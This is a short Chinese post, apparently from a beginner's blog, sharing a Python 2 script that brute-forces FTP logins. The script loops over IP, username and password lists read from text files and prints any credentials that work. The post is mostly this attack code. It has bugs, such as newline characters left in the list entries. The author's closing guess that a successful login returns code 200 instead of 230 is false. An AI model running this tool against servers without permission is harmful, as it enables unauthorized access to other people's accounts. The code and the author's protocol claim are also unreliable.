FTP帐号密码暴力破解小工具(新手学python)

群内一童鞋写的ftp暴力破解小工具，主要用到了FTP模块,功能很简单，不大实用，还有很多需要改进的地方，贴上代码：

from ftplib import FTP
import time
def ConnectFtp(ftpAddress,user,password):
    for myaddress in ftpAddress:
        f=FTP(myaddress)
        for myuser in user:
            for mypass in password:
                try:
                    s=f.login(myuser,mypass)
                    if '230' in s:
                        print 'login success,ip:',myaddress,'user:',myuser,'password:',mypass
                        f.quit()
                    else:
                        print myaddress,'   user:',myuser,'password:',mypass,'  ',s
                except Exception,e:
                    #info=str(e)
                    print myaddress,'user:',myuser,'password:',mypass,'  ',e

def GetList(fileAddress):
    #myFileContent=[]    
    myfile=open(fileAddress,'r')
    myFileContent=myfile.readlines()
    #for  i in myFileContent:
        #print i
    return myFileContent

if __name__=="__main__":
    ip=GetList("ip.txt") #ip
    user=GetList("user.txt")#用户名
    password=GetList("password.txt")#密码
    ConnectFtp(ip,user,password)

主要功能是从ip.txt,user.txt,password.txt中获取帐号和密码还有ip地址，尝试登录，判断返回错误是否是230.
我没测试，目测应该有点问题，登录成功应该是200，不是230吧？主要是学学python,练练手！